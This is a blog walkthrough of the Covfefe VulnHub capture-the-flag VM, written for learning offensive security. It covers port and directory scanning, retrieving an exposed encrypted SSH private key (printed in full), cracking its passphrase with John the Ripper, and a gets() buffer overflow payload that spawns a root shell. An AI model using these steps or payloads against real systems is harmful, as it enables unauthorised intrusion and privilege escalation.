Covfefe Vulnhub Walkthrough

Name: covfefe: 1
Date release: 19 Sep 2017
Author: Tim Kent

Description:
“Covfefe is my Debian 9 based B2R VM, originally created as a CTF for SecTalks_BNE. It has three flags.
It is intended for beginners and requires enumeration then [spoiler]!”

DHCP service: Enabled
IP address: Automatically assign

Starting with netdiscover to find the IP address

netdiscover -r 192.168.1.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                      
                                                                                                    
 12 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 720                                   
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
  .....                                
  .....                                
 192.168.1.7     08:00:27:b6:d8:3c      1      60  PCS Systemtechnik GmbH                           
  .....
  .....                                

This time lets use ZenMap instead of NMap for the port scanning with the profile “Intense scan all TCP ports” that is equivalent to

nmap -p 1-65535 -T4 -A -v 192.168.1.7

Lets start with port 22 that runs OpenSSH 7.4p1.
The version is not vulnerable. When we try to connect we get this message. So the server does not allow password logins. Lets keep that in mind. So no reason to try for default passwords like password, admin, toor etc

ssh root@192.168.1.7
Permission denied (publickey).

Continuing to Port 80 that acts as a web server running nginx 1.10.3.
Just the default nginx page. Nothing interesting or anything hiding in the source code.

I searched on google for public exploits on that specific version of nginx and found an interesting result.
[Exploit] CVE-2017-7529 / Nginx – Remote Integer Overflow Vulnerability
https://github.com/nixawk/labs/issues/15

Running the Python exploit resulted in the message “Target not vulnerable” so I guess we will have to find another way in.

Lets run nikto and dirb to search for directories or any other interesting stuff that might me useful.

dirb http://192.168.1.7
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat Feb 16 13:53:06 2019
URL_BASE: http://192.168.1.7/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                         

Scanning URL: http://192.168.1.7/ 
END_TIME: Sat Feb 16 13:53:13 2019
DOWNLOADED: 4612 - FOUND: 0

Nothing! That is really uncommon.

nikto -h http://192.168.1.7
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.7
+ Target Hostname:    192.168.1.7
+ Target Port:        80
+ Start Time:         2019-02-16 13:53:23 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Server leaks inodes via ETags, header found with file /, fields: 0x595393fa 0x264 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7535 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-02-16 13:54:04 (GMT-5) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nothing here too!

Moving to the next port 31337 that also acts as a web server running Werkzeug httpd 0.11.15 (Python 3.5.3).

Opening the URL http://192.168.1.7:31337/ returns an ERROR 404.

Lets search for exploits with searchsploit and see if we can exploit it.

searchsploit Werkzeug
-------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                  |  Path
                                                                                | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------- ----------------------------------------
Werkzeug - 'Debug Shell' Command Execution                                      | exploits/multiple/remote/43905.py
Werkzeug - Debug Shell Command Execution (Metasploit)                           | exploits/python/remote/37814.rb
-------------------------------------------------------------------------------- ----------------------------------------

There is a really promising exploit named “debug shell command execution” that is also supported by Metasploit.

Werkzeug Debug Shell Command Execution
This module will exploit the Werkzeug debug console to put down a Python shell. This debugger “must never be used on production machines” but sometimes slips passed testing. Tested against: 0.9.6 on Debian 0.9.6 on Centos 0.10 on Debian

I will definitely prefer the Metasploit module instead of the manual Python so lets start Metasploit and configure the exploit.

msf5 > search werkzeug

Matching Modules
================

   Name                                   Disclosure Date  Rank       Check  Description
   ----                                   ---------------  ----       -----  -----------
   exploit/multi/http/werkzeug_debug_rce  2015-06-28       excellent  Yes    Werkzeug Debug Shell Command Execution


msf5 > use exploit/multi/http/werkzeug_debug_rce
msf5 exploit(multi/http/werkzeug_debug_rce) > show options

Module options (exploit/multi/http/werkzeug_debug_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /console         yes       URI to the console
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   werkzeug 0.10 and older


msf5 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.1.7
RHOSTS => 192.168.1.7
msf5 exploit(multi/http/werkzeug_debug_rce) > set RPORT 31337
RPORT => 31337
msf5 exploit(multi/http/werkzeug_debug_rce) > check
[*] 192.168.1.7:31337 - The target is not exploitable.
msf5 exploit(multi/http/werkzeug_debug_rce) > exploit
[-] Secret code not detected.
[*] Exploit completed, but no session was created.

Aaaaaand nothing 🙁

Lets run again dirb and nikro on the new port 31337 and hope we find something useful.

dirb http://192.168.1.7:31337
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sat Feb 16 14:02:51 2019
URL_BASE: http://192.168.1.7:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                         
---- Scanning URL: http://192.168.1.7:31337/ ----
+ http://192.168.1.7:31337/.bash_history (CODE:200|SIZE:19)                    
+ http://192.168.1.7:31337/.bashrc (CODE:200|SIZE:3526)                        
+ http://192.168.1.7:31337/.profile (CODE:200|SIZE:675)                        
+ http://192.168.1.7:31337/.ssh (CODE:200|SIZE:43)                             
+ http://192.168.1.7:31337/robots.txt (CODE:200|SIZE:70)                      
-----------------
END_TIME: Sat Feb 16 14:03:21 2019
DOWNLOADED: 4612 - FOUND: 5
nikto -h http://192.168.1.7:31337
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.7
+ Target Hostname:    192.168.1.7
+ Target Port:        31337
+ Start Time:         2019-02-16 14:03:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.11.15 Python/3.5.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 0x1499600596.267103, size: 0x70, mtime: 0x1587808388
+ Entry '/.bashrc' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/.profile' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/taxes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ Allowed HTTP Methods: HEAD, OPTIONS, GET 
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.ssh/authorized_keys: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ ERROR: Error limit (20) reached for host, giving up. Last error: 
+ Scan terminated:  13 error(s) and 14 item(s) reported on remote host
+ End Time:           2019-02-16 14:04:19 (GMT-5) (71 seconds)

Lets start with robots.txt

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes

Directory /taxes returns the first flag

Good job! Here is a flag:

flag1{make_america_great_again}

/.bash_history returns something that might be useful later.

read_message 
exit

/.bashrc and /.profile have nothing interesting.

Moving to the next results

http://192.168.1.7:31337/.bash_history
Contains the following that might be useful later on.

Opening the ./ssh (http://192.168.1.7:31337/.ssh) returns:

['id_rsa', 'authorized_keys', 'id_rsa.pub']

Soooo if we try to open the following URL we get the specific files that seems to be some private SSH keys.

http://192.168.1.7:31337/.ssh/id_rsa
http://192.168.1.7:31337/.ssh/authorized_keys
http://192.168.1.7:31337/.ssh/id_rsa.pub

id_rsa.pub and authorized_keys contain the same text

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzG6cWl499ZGW0PV+tRaOLguT8+lso8zbSLCzgiBYkX/xnoZx0fneSfi93gdh4ynVjs2sgZ2HaRWA05EGR7e3IetSP53NTxk5QrLHEGZQFLId3QMMi74ebGBpPkKg/QzwRxCrKgqL1b2+EYz68Y9InRAZoq8wYTLdoUVa2wOiJv0PfrlQ4e9nh29J7yPgXmVAsy5ZvmpBp5FL76y1lUblGUuftCfddh2IahevizLlVipuSQGFqRZOdA5xnxbsNO4QbFUhjIlA5RrAs814LuA9t2CiAzHXxjsVW8/R/eD8K22TO7XEQscQjaSl/R4Cr1kNtUwCljpmpjt/Q4DJmExOR simon@covfefe

id_rsa contains

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,BD8515E8D3A10829A4D710D5AFAC64AB

FCY9ADNWL6702rP3vBGwzSSNXMojtui0v94aefo2O0Wz0n75YcOAKuj1eNA6hnG5
qGAaJKI7exONZ3GGf+6JZjORn9yTrj6Cc/tZr6dw9BQFHCQcBPBPpWBZO2IGVsvJ
Mf5H50v4QvL9RJl0Zcn0wGKgcuK4m0SyWD1ZKTQ3O2peRCmHIc39cyGOFMSRqhVU
7iMryuPbNZdOuzK8F0mCKKdvOwLhfdEQh2GOKJJ8CAI+Pb/NEvIDkDlsh2t148/D
kExxOmmVS/NTP9ixyOXc7NL34GHP/mfw/OLVUBVGubEkWA/KdNXkYPWcv+RskwMU
Dz5JVSduyVMdlskKL1h11UETb+WDPGKktO+dYYnCupi4NGROuOcpj57B5gLOdmxy
uH7gqTltd6uzASFEXS7rKDniG5Fu8C6zab0bCbM0DDzAexAgPQpweJqvSfqpQpKP
vmAeXnYGu7tw+U5d6CypS0qhS2P07lyboANstYOBrSzFIZF7LuotgPBSGtfTIkYb
lH8dyk7VEjIZ51exC4ACdJ/Hqhe08m++2f729m/UL/McEGGiZ4r2df5lPIEq8X4b
Wdu0SYRIi0J0PoGRrUFJ85j8C+yQXV5CIMAC3LUeDlTUcTEZvhbV8E+tB/zDNEUK
WuH2+4dlUEA4kyiMsoZNUcgIzhbuF7FK+lDxybjsscRG6fDFECmphiqD+jel2C+b
QK4dOF23OoYwIbx/XFEa7VNRTnkzANQBi4ELGFsc4uZs9conJfb9T3EXrRJjX9jK
0abmJthTd3wbiZa10nGwhEzXUCVPvh1j+tbn6xHldsqEc4RjZLnXmalBJ6DxgTxn
24Ozy1+y0CsycEUHG7b3jTUMvlNs0VCAB7YJUZYHdlPwjMeAOklSeI0MgsmeMOXr
S+LZzoBq0gzmm5Va1hnjFRgBnDgEMNe1KVU+QZy1O2J0yJT/VaKeME80uOP3z/Q3
kUGmzgGM2gCrXDwbAKfQzUp8pUR0fZT0pGrgsprpWItCvUfymb8MzdmVD6qzCfYC
tskyUU6wpQrEH7rA244azObC/HlFulYFAQmNdilguTNpou4TMTXNFfHAuq3DZL67
RJks2xiJKK3XUbXuFP0QIpfHnDnjJIlCKBVDxcUWLCpARWI8OsY4qEY/DlDu3aU3
b3K/+LdyndDfbb7edi4OJob7A0bSdlFfOhSRlmyeSgFe5oFTvIAevL0ph3nhgik7
DELkQnFE/xc49nPtchYZDJ6ifExb5WTO8XHCZb+bjf1BX3kAKSTfRZeowbc+gfAD
ZxGvHc9T8B30hujl04UCPMXlVR/X5/m9I0hnZKIuRDsJH1waZ+CJj6I93T5GKUKT
kMyZLUf+pmzRbLwdyNuUe+QTTano8SyK9rMLlthoXxCUFeoF3Q1bNOV8CWbXCLgl
2s4BObMEU9B4fzSMHUa9LpXz8LQvv74L0mnDJ3Jk82+gQuk6P4haTd03MI9ecZ8U
B0u8R3H9rzAYYr31q2YbZo03enMkRFC9DaEz4P3hMGCuGErQ8tuX3I07hOZGtm8B
TJAwpCifrLpx1myEg4kz4OhvWk5cL9qV8SP48T0aBoXHtUZFHa6KBNUpoV8QMhyI
-----END RSA PRIVATE KEY-----

So we got a private key and the username “simon”

Lets try to connect

ssh -i id_rsa simon@192.168.1.7
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
simon@192.168.1.7: Permission denied (publickey).

We change the permissions with chmod to 600

chmod 600 id_rsa

Try again to connect but the private key requires a passphrase.

ssh -i id_rsa simon@192.168.1.7
Enter passphrase for key 'id_rsa': 

I tried a few common used passwords without success. I guess we will have to bruteforce it.

To crack it we will use John The Ripper so we have to convert the SSH key to the appropriate hash that John The Ripper understands. Thankfully there is a program for that called guess what!? ssh2john 😀

/usr/sbin/ssh2john ~/Downloads/id_rsa > id_rsa.hash

Now lets run John using the famous “rockyou” wordlist

/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

Aaaaand BOOOM! Password is “starwars”

Now that we have the password lets connect again

ssh -i id_rsa simon@192.168.1.7
Enter passphrase for key 'id_rsa': 
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 16 01:11:22 2019 from 192.168.1.44
simon@covfefe:~$ whoami
simon
simon@covfefe:~$ id
uid=1000(simon) gid=1000(simon) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Now we are connected as simon. After browsing the common directories found a flag.txt on /root but we dont have the appropriate permissions to open it. So we will have to find a way to escalate our privileges.

Lets try to run the command that we found on bash_history file.

read_message
What is your name?
(I type here): "Elpidoforos"
Sorry Elpidoforos, you're not Simon! The Internet Police have been informed of this violation.

This is a VulnHub scenario, I guess in a real world scenario putting your real name is a situation like this wont be the smartest thing to do! 😛

Lets try that again with “Simon”

What is your name?
Simon
Hello Simon! Here is your message:
Hi Simon, I hope you like our private messaging system.
I'm really happy with how it worked out!
If you're interested in how it works, I've left a copy of the source code in my home directory.
- Charlie Root

So Charlie that is root left us an interesting message. Lets browse the source code he left on his home directory.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

flag2{use_the_source_luke}
int main(int argc, char *argv[]) { char program[] = "/usr/local/sbin/message"; char buf[20]; char authorized[] = "Simon"; printf("What is your name?\n"); gets(buf); // Only compare first five chars to save precious cycles: if (!strncmp(authorized, buf, 5)) { printf("Hello %s! Here is your message:\n\n", buf); // This is safe as the user can't mess with the binary location: execve(program, NULL, NULL); } else { printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized); exit(EXIT_FAILURE); } }

Reviewing the source code reveals another flag

// flag2{use_the_source_luke}

The program is really simple. It just reads a username and stores it on buf[20], a 20 position char array.
So it is really easy to mess with the program just by just entering a username that is longer than 20 characters.
If that username is “Simon” it runs as root through the execve function this program /usr/local/sbin/message as root and prints a message.
If the username is wrong it just exits.
The problem is that the program only compares the first five chars as the creator mentions in order to make the program faster and to save precious cycles. (LOL)

This is like a really really simple Buffer Overflow exploit that we can take advantage of to do privilege escalation.

Lets run the program again and test it we a few custom usernames.
Lets try SimonLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL

What is your name?
SimonLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL
Hello SimonLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL! Here is your message:

Segmentation fault

So the input was SimonLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL that successfully passed the validation check because the 5 first letters where correct and it printed the “Here is your message:” text that is inside if (!strncmp(authorized, buf, 5)) condition. After that the program crashed as the input text counted be stored on that array because it was bigger than 20 chars and that is why it caused a Segmentation fault.

Lets try again with exactly 20 char.
Simon012345678912345

What is your name?
Simon000000000000000
Hello Simon000000000000000! Here is your message:

No Segmentation fault. Great!

I tried Simon000000000000000/bin/bash, got a shell but I was still simon and that really confused me.
The idea was that “read_message” invoked “/usr/local/sbin/message” with root permissions?
After a few attempts and a little bit of research we successfully got root shell just by executing sh.
It seems that Bash has some kind of protection against simple privilege escalation like this that prevent a higher level euid (Effective UID) and therefore provide a root shell.
Thankfully sh has no limitations like this and gave us root access.

What is your name?
Simon000000000000000/bin/sh
Hello Simon000000000000000/bin/sh! Here is your message:

# whoami
root
# id
uid=1000(simon) gid=1000(simon) euid=0(root) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
# cat /root/flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}
# 

So the final flag is

flag3{das_bof_meister}

Leave a Reply

Your email address will not be published. Required fields are marked *